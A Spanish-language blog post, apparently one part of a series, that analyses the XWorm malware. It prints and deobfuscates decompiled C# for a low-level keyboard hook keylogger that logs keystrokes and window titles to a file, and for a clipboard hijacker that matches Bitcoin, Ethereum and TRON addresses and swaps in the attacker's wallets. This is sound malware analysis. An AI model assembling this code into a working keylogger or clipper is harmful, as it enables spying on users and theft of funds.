This article is also available in english

  1. Introducción
  2. Exploración inicial y técnicas anti-análisis
  3. Evasión de defensas y persistencia
  4. Movimiento lateral
  5. Keylogger y captura de criptomonedas
  6. Comunicación con Telegram y obtención de nueva variante
  7. Próximamente: Comando y Control

Si quieres enterarte cuando se publiquen los nuevos posts de esta serie, no olvides suscribirte al blog!

1. Introducción

En el artículo anterior vimos cómo XWorm utiliza dispositivos removibles para infectar nuevos equipos; en este artículo empezamos a analizar algunas de sus capacidades maliciosas, como lo son la captura de criptomonedas y keylogger.

2. Keylogger

Luego de copiarse a cualquier USB conectado al equipo, el malware crea dos hilos: uno invocando a la función MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz y otro a la función ThPsG0ZcwqMa4kJtYpmfUiZCDYdrN4oqfZTPJXN3GUBU4Fn0jO3gkFsMruRx8UdiBqQKAm

alt text

2.1 Keylogger: configuración

Comenzamos analizando la función MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz; dado que los nombres de las variables y clases están ofuscados, el análisis parece complicado:


private static void MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz()
		{
			nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.mXoA0oyBbMu9pEDOWAfTn0eDkRR6tCTlxo5fRlkh0sY5IOrbnvsPXthl7ri4ntfJ7PgB8Z();
		}

...
public class nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj
	{
		public static void mXoA0oyBbMu9pEDOWAfTn0eDkRR6tCTlxo5fRlkh0sY5IOrbnvsPXthl7ri4ntfJ7PgB8Z()
		{
			nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.gwErjDsnC1yo = nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.DDJc7Kd7F6aaQAtw8IuzYQEwEuydszgkZGcZmYldo7F2VpX4pg3i0mjfoBgF8yN1tSNk2V(nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.jtmLNbYtCsof);
			Application.Run();
		}

		private static IntPtr DDJc7Kd7F6aaQAtw8IuzYQEwEuydszgkZGcZmYldo7F2VpX4pg3i0mjfoBgF8yN1tSNk2V(nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.LowLevelKeyboardProc yLdFEmWSxYqDUE2MSaK8byBrFb9TKt6NNA5UGYhJ0P36Ekxb5Xlv4jsv7n1FS8B8mFT3g0)
		{
			IntPtr intPtr;
			using (Process currentProcess = Process.GetCurrentProcess())
			{
				intPtr = nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.xMRKhSEFUeLtIVlvOA6JZJl6bRcqyHKnHJZ4inSYE73uPLNPJvpJtHnQpOI8mrZS8y7Ng1(nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.8iakvQZQ3uCL, yLdFEmWSxYqDUE2MSaK8byBrFb9TKt6NNA5UGYhJ0P36Ekxb5Xlv4jsv7n1FS8B8mFT3g0, nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.n0nrWLA4QQMJ(currentProcess.ProcessName), 0U);
			}
			return intPtr;
		}
	}

Para facilitar el análisis, podemos reemplazar los nombres ofuscados por los tipos de objeto a los que hacen referencia:


private static void MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz()
		{
			clase.funcionAAnalizar();
		}

...
public class clase
	{
		public static void funcionAAnalizar()
		{
			clase.vIntPtr = clase.fIntPtr(clase.pLLKP);
			Application.Run();
		}

		private static IntPtr fIntPtr(clase.LowLevelKeyboardProc pLLKP)
		{
			IntPtr intPtr;
			using (Process currentProcess = Process.GetCurrentProcess())
			{
				intPtr = clase.fSetWindowsHookEx(clase.8iakvQZQ3uCL, pLLKP, clase.fGetModuleHandle(currentProcess.ProcessName), 0U);
			}
			return intPtr;
		}
	}

Las funciones GetModuleHandle y SetWindowsHookEx son importadas de kernel32.dll y user32.dll respectivamente:

[DllImport("kernel32.dll", CharSet = CharSet.Auto, EntryPoint = "GetModuleHandle", SetLastError = true)]
private static extern IntPtr n0nrWLA4QQMJ(string 2gOtdzHXuJup);
...
[DllImport("user32.dll", CharSet = CharSet.Auto, EntryPoint = "SetWindowsHookEx", SetLastError = true)]
private static extern IntPtr xMRKhSEFUeLtIVlvOA6JZJl6bRcqyHKnHJZ4inSYE73uPLNPJvpJtHnQpOI8mrZS8y7Ng1(int eaumUTNAkviChy2tqEDeM0SShTHsaeZlS7WQIrR7EyR8lZM20OAXvM1VFzYcRgJy5DScJX, clase.LowLevelKeyboardProc 7NjY5GRTVvwQvA6ZXa9y8nYzHZ4z7ajSdL6MUzh9kPwlM2eiTp3pk12WuNdPItI73IVkIz, IntPtr lLnF5cjxmOrjJ2FCk3G0pDgporhBDC0ER5EcU6BwjbOJTbGBD3o1vFBhGSs1UxqhgTWAhz, uint 5cfZ6xNJMxk4FBvpDa393dukNrMKnk6yiXAYCXSkorYfC1BbZVhyo4wVmPFPShBjROxIt3);

Con dicha información, podemos reemplazar el valor de la variable 8iakvQZQ3uCL y simplificar las funciones para entender mejor el código:

		public static void funcionAAnalizar()
		{
			clase.vIntPtr = clase.fIntPtr(clase.pLLKP);
			Application.Run();
		}

		private static IntPtr fIntPtr(clase.LowLevelKeyboardProc pLLKP)
		{
			IntPtr intPtr;
			using (Process currentProcess = Process.GetCurrentProcess())
			{
				intPtr = SetWindowsHookEx(13, pLLKP, GetModuleHandle(currentProcess.ProcessName), 0);
			}
			return intPtr;
		}

La función SetWindowsHookEx recibe los siguientes parámetros:

  1. idHook: Tipo de hook a ser configurado. 13 es de tipo “WH_KEYBOARD_LL” y sirve para monitorear eventos del teclado.
  2. lpfn: Puntero al procedimiento a ejecutar (“pLLKP” en el código anterior)
  3. hmod: Handle a la DLL que contiene el procedimiento. XWorm lo configura a su mismo proceso.
  4. dwThreadId: Hilo al cual asociar el hook. 0 significa “asociar a todos los hilos”.

Para resumir, la función MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz realiza lo siguiente:

  1. Invoca a una función que recibe como parámetro un procedimiento “callback”, que se ejecutará cuando se cumpla cierta condición.
  2. La función invocada en el paso 1 utiliza la función SetWindowsHookEx, la cual importa de USER32.DLL, para configurar un gancho (hook) que monitoree eventos del teclado e invoque al procedimiento “callback” cuando ocurra un evento.
  3. El procedimiento “callback” es de tipo LowLevelKeyboardProc, y es invocado cada vez que se registra un evento de teclado.

Dicho de otra manera, XWorm crea un nuevo hilo, el cual monitorea constantemente cualquier evento del teclado y llama a una función (procedimiento) de detectarse actividad.

2.2 Keylogger: ejecución

Ahora, analicemos el procedimiento invocado por partes:

private static IntPtr rHzPCfhAysljAD7Z8nXRLld8JvZxRY7URgDHWWn5v53nbYoJ9VMmtNFi8wUKBindqhIXYI(int JQiRKsyUPZiJ5Cz0ekuccbKd82JueeNl1Jgmu3SdXa9iyTnjkbzJSFvUE4JuYLoj2G1vsL, IntPtr RIOpU75Z5EU6R2xU3iHHePiEgibGSLGP78907ZnTHUNpRVZIqq97AZ3UyMTXnzqm4AkO9l, IntPtr uiEmrQuda6mD1g9JtEBu0vriJpB3K9AFGASMuHlT9NbcWv1sDOE1JJ32wTGGrhEPhzzWdX)
		{
			if (JQiRKsyUPZiJ5Cz0ekuccbKd82JueeNl1Jgmu3SdXa9iyTnjkbzJSFvUE4JuYLoj2G1vsL >= 0 && RIOpU75Z5EU6R2xU3iHHePiEgibGSLGP78907ZnTHUNpRVZIqq97AZ3UyMTXnzqm4AkO9l == (IntPtr)256)
			{
				object obj = Marshal.ReadInt32(uiEmrQuda6mD1g9JtEBu0vriJpB3K9AFGASMuHlT9NbcWv1sDOE1JJ32wTGGrhEPhzzWdX);
				object obj2 = ((int)nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.E7DLvYqDXgLo(20) & 65535) != 0;
				object obj3 = ((int)nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.E7DLvYqDXgLo(160) & 32768) != 0 || ((int)nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.E7DLvYqDXgLo(161) & 32768) != 0;
				object obj4 = nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.w7RxULSKw1Nl9nqQAu7jggFp1ssG5Ke8X1zOrxdHQj2xMKsLF0sUryONm13ZONJBo8grrI(Conversions.ToUInteger(obj));
...
[DllImport("user32.dll", CharSet = CharSet.Auto, EntryPoint = "GetKeyState", ExactSpelling = true)]
		private static extern short E7DLvYqDXgLo(int zybtWxM2jgdH);

Si reemplazamos las funciones y variables ofuscadas por lo que nos indica la documentación de LowLevelKeyboardProc obtenemos lo siguiente:

private static IntPtr pLLKP(int nCode, IntPtr wParam, IntPtr lParam)
		{
			if (nCode >= 0 && wParam == (IntPtr)256)
			{
				object obj = Marshal.ReadInt32(lParam);
				object obj2 = ((int)GetKeyState(20) & 65535) != 0;
				object obj3 = ((int)GetKeyState(160) & 32768) != 0 || ((int)GetKeyState(161) & 32768) != 0;
...

De acuerdo a la documentación, los parámetros que recibe la función son los siguientes:

  1. nCode: un código que el procedimiento utiliza cómo procesar el mensaje; 0 significa que hay información de un evento de teclado.
  2. wParam: El identificador del mensaje; 256 corresponde a 0x100, lo que corresponde a WM_KEYDOWN. Este evento se gatilla cuando una tecla es presionada.
  3. lParam: Un puntero a la estructura KBDLLHOOKSTRUCT.

El código utiliza la función GetKeyState para determinar si la tecla de mayúscula (Caps Lock) está siendo presionada, resultado que asigna a la variable obj2. De igual manera, valida si tanto el Shift derecho o izquierdo están siendo presionados y asigna dicho resultado a la variable obj3. Información sobre qué numero corresponde a cada tecla puede ser encontrada en este enlace.

La siguiente variable que es asignada es obj4, la cual utiliza las funciones GetKeyboardState, MapVirtualKey, GetKeyboardLayout, GetWindowThreadProcessId, GetForegroundWindow, y ToUnicodeEX para obtener el caracter Unicode de la tecla presionada.

Si continuamos analizando el código vemos que este convierte los caracteres a mayúscula/minúscula dependiendo si las teclas Caps Lock o Shift están siendo presionadas. Adicionalmente, verifica si las teclas F1-F24 están siendo presionadas y registra dicha acción entre corchetes:

if (Conversions.ToBoolean((Conversions.ToBoolean(obj2) || Conversions.ToBoolean(obj3)) ? true : false))
				{
					obj4 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(obj4, null, "ToUpper", new object[0], null, null, null));
				}
				else
				{
					obj4 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(obj4, null, "ToLower", new object[0], null, null, null));
				}
				if (Conversions.ToInteger(obj) >= 112 && Conversions.ToInteger(obj) <= 135)
				{
					obj4 = "[" + Conversions.ToString(Conversions.ToInteger(obj)) + "]";
				}

El código también valida si se están presionando teclas no alfanuméricas y las registra entre corchetes:

...
string text = ((Keys)Conversions.ToInteger(obj)).ToString();
					if (Operators.CompareString(text, "Space", false) == 0)
					{
						obj4 = "[SPACE]";
					}
					else if (Operators.CompareString(text, "Return", false) == 0)
					{
						obj4 = "[ENTER]";
					}
					else if (Operators.CompareString(text, "Escape", false) == 0)
					{
						obj4 = "[ESC]";
					}
					else if (Operators.CompareString(text, "LControlKey", false) == 0)
					{
						obj4 = "[CTRL]";
					}
...

Finalmente, el código registra la tecla presionada en el archivo "C:\\temp\\Log.tmp" especificando el nombre del proceso donde la víctima está escribiendo y el título de la ventana de este:

...
using (StreamWriter streamWriter = new StreamWriter("C:\\temp\\Log.tmp", true))
				{
					if (object.Equals(nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.Jqg66CPRiPks, nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.HtJ2wEimlN1aODMzVVzPqzHVdv0TmSFsaYB6zL25nSqiwl9pMm4C6hcsw96B9oB794ob0i()))
					{
						streamWriter.Write(RuntimeHelpers.GetObjectValue(obj4));
					}
					else
					{
						streamWriter.WriteLine(Environment.NewLine);
						streamWriter.WriteLine("###  " + nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.HtJ2wEimlN1aODMzVVzPqzHVdv0TmSFsaYB6zL25nSqiwl9pMm4C6hcsw96B9oB794ob0i() + " ###");
						streamWriter.Write(RuntimeHelpers.GetObjectValue(obj4));
					}
				}
...
private static string HtJ2wEimlN1aODMzVVzPqzHVdv0TmSFsaYB6zL25nSqiwl9pMm4C6hcsw96B9oB794ob0i()
		{
			uint num = 0U;
			string text;
			try
			{
				IntPtr intPtr = nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.bbQy92NFYzaX();
				nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.xdeCCXgZdixj(intPtr, out num);
				object processById = Process.GetProcessById(checked((int)num));
				object obj = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(processById, null, "MainWindowTitle", new object[0], null, null, null));
				if (string.IsNullOrWhiteSpace(Conversions.ToString(obj)))
				{
					obj = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(processById, null, "ProcessName", new object[0], null, null, null));
				}
				nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj.Jqg66CPRiPks = Conversions.ToString(obj);
				text = Conversions.ToString(obj);
			}
			catch (Exception ex)
			{
				text = "???";
			}
			return text;
		}				

3. Captura de criptomonedas

Luego de iniciar el hilo que captura eventos de teclado (keylogger), XWorm inicia un nuevo hilo invocando a la función ThPsG0ZcwqMa4kJtYpmfUiZCDYdrN4oqfZTPJXN3GUBU4Fn0jO3gkFsMruRx8UdiBqQKAm.

Al abrir la función, vemos que inicializa un formulario:

public static void CaGUhxuUwEJ0()
		{
			Application.Run(new 5WfMxvD8ofo6.NotificationForm());
		}

...
			public NotificationForm()
			{
				Iz7vHvHrDV0G.NativeMethods.SetParent(this.Handle, Iz7vHvHrDV0G.NativeMethods.intpreclp);
				Iz7vHvHrDV0G.NativeMethods.AddClipboardFormatListener(this.Handle);
			}

Si buscamos en internet podemos encontrar un post de hace 15 años en StackOverflow donde un usuario detalla cómo interceptar eventos del portapapeles:

private class NotificationForm : Form
    {
        public NotificationForm()
        {
            NativeMethods.SetParent(Handle, NativeMethods.HWND_MESSAGE);
            NativeMethods.AddClipboardFormatListener(Handle);
        }

        protected override void WndProc(ref Message m)
        {
            if (m.Msg == NativeMethods.WM_CLIPBOARDUPDATE)
            {
                OnClipboardUpdate(null);
            }
            base.WndProc(ref m);
        }
    } //https://stackoverflow.com/questions/2226920/how-do-i-monitor-clipboard-content-changes-in-c

En la respuesta del usuario, vemos que se hace un override a la función WndProc para determinar qué hacer cuando se intercepta un evento.

Analizando el código de XWorm, vemos que sigue el mismo patrón:

protected override void WndProc(ref Message m)
			{
				if (m.Msg == 797)
				{
					...
					if (this.RegexResult(Iz7vHvHrDV0G.kHHDOMdskKUn) && !5WfMxvD8ofo6.NotificationForm.currentClipboard.Contains(Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.fXhxfFj8TkzcJaRHq60e0W7t2kQyE9YQZTdVM))
					{
						object obj = Iz7vHvHrDV0G.kHHDOMdskKUn.Replace(5WfMxvD8ofo6.NotificationForm.currentClipboard, Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.fXhxfFj8TkzcJaRHq60e0W7t2kQyE9YQZTdVM);
						c5w4szyEibFf.D2HaAM74L3aY(Conversions.ToString(obj));
						qe4gu6HK7mzE5kFGCmBEuSbSGKIY7MxNPX5b6TfXVHmB37WsPlzmVaeofkXg7mq0EAbWxF.nVmqxZmxmh4HlYS6z5190A9nKx8Su5JuwOID9O3UkrjtdYsaTTOaEcOwGcG7A8INOHDbhm(Conversions.ToString(Operators.ConcatenateObject("BTC Clipper " + 5WfMxvD8ofo6.NotificationForm.currentClipboard + " : ", obj)));
					}
					if (this.RegexResult(Iz7vHvHrDV0G.eEjYtL8MRBr2) && !5WfMxvD8ofo6.NotificationForm.currentClipboard.Contains(Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.ErPBuuVqXFqHbYonPuxe4T4ztv3SlmKMArdQT))
					{
						object obj2 = Iz7vHvHrDV0G.eEjYtL8MRBr2.Replace(5WfMxvD8ofo6.NotificationForm.currentClipboard, Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.ErPBuuVqXFqHbYonPuxe4T4ztv3SlmKMArdQT);
						c5w4szyEibFf.D2HaAM74L3aY(Conversions.ToString(obj2));
						qe4gu6HK7mzE5kFGCmBEuSbSGKIY7MxNPX5b6TfXVHmB37WsPlzmVaeofkXg7mq0EAbWxF.nVmqxZmxmh4HlYS6z5190A9nKx8Su5JuwOID9O3UkrjtdYsaTTOaEcOwGcG7A8INOHDbhm(Conversions.ToString(Operators.ConcatenateObject("ETH Clipper " + 5WfMxvD8ofo6.NotificationForm.currentClipboard + " : ", obj2)));
					}
					if (this.RegexResult(Iz7vHvHrDV0G.saRbJz6ZQ0Rw) && !5WfMxvD8ofo6.NotificationForm.currentClipboard.Contains(Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.1W1aoVjAWOEpcuqC9Lkxd3rmAEv3ya0L3KbR8))
					{
						object obj3 = Iz7vHvHrDV0G.saRbJz6ZQ0Rw.Replace(5WfMxvD8ofo6.NotificationForm.currentClipboard, Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec.1W1aoVjAWOEpcuqC9Lkxd3rmAEv3ya0L3KbR8);
						c5w4szyEibFf.D2HaAM74L3aY(Conversions.ToString(obj3));
						qe4gu6HK7mzE5kFGCmBEuSbSGKIY7MxNPX5b6TfXVHmB37WsPlzmVaeofkXg7mq0EAbWxF.nVmqxZmxmh4HlYS6z5190A9nKx8Su5JuwOID9O3UkrjtdYsaTTOaEcOwGcG7A8INOHDbhm(Conversions.ToString(Operators.ConcatenateObject("TRC20 Clipper " + 5WfMxvD8ofo6.NotificationForm.currentClipboard + " : ", obj3)));
					}
				}
				base.WndProc(ref m);
			}

El tipo de mensaje 797 es 0x031D en hexadecimal, el cual corresponde a WM_CLIPBOARDUPDATE.

La función RegexResult busca si el contenido del portapapeles sigue ciertos patrones asociados a criptomonedas:

		private bool RegexResult(Regex pattern)
			{
				return pattern.Match(5WfMxvD8ofo6.NotificationForm.currentClipboard).Success;
			}
...
		public static readonly Regex kHHDOMdskKUn = new Regex("\\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,45}\\b");

		public static readonly Regex eEjYtL8MRBr2 = new Regex("\\b(0x)[a-zA-HJ-NP-Z0-9]{40,45}\\b");

		public static readonly Regex saRbJz6ZQ0Rw = new Regex("T[A-Za-z1-9]{33}");

El primer patrón corresponde a billeteras de Bitcoin, el segundo a Ethereum y el tercero a TRON.

XWorm analiza si el contenido del portapapeles está asociado a una de estas billeteras y si no corresponde a ciertos valores específicos. De cumplirse ambas condiciones, reemplaza el contenido del portapapeles por valores almacenados de manera encriptada en el código del malware; los valores fueron desencriptados en memoria al iniciar el malware y corresponden a billeteras de Bitcoin, Ethereum y TRON respectivamente.

En resumen, XWorm realiza lo siguiente:

  1. Intercepta el contenido del portapapeles (cuando alguien hace click a “copiar” o Control+C)
  2. Verifica si el contenido del portapapeles corresponde con el patrón de una billetera de criptomonedas.
  3. De ser así, modifica el contenido del portapapeles para que contenga la billetera del atacante.

Dado que las billeteras de criptomonedas no siguen nombres intuitivos y están compuestas de valores alfanuméricos, las personas usualmente copian y pegan dichos valores de su gestor de criptomonedas/páginas de venta de productos/chats; el atacante se aprovecha de dicho comportamiento para reemplazar la billetera del usuario sin que este se de cuenta, y así, lograr que le transfieran fondos.

Próximos pasos

XWorm sigue demostrando ser un malware versátil con múltiples capacidades; desde la infección por USBs, captura de criptomonedas e intercepción de teclado, XWorm nos evidencia las distintas oportunidades que el atacante busca para conseguir algo beneficioso de su víctima.

En el próximo artículo veremos cómo XWorm reporta que ha infectado a una nueva víctima, así como cómo se actualiza.


¿Tienes algún comentario o sugerencia?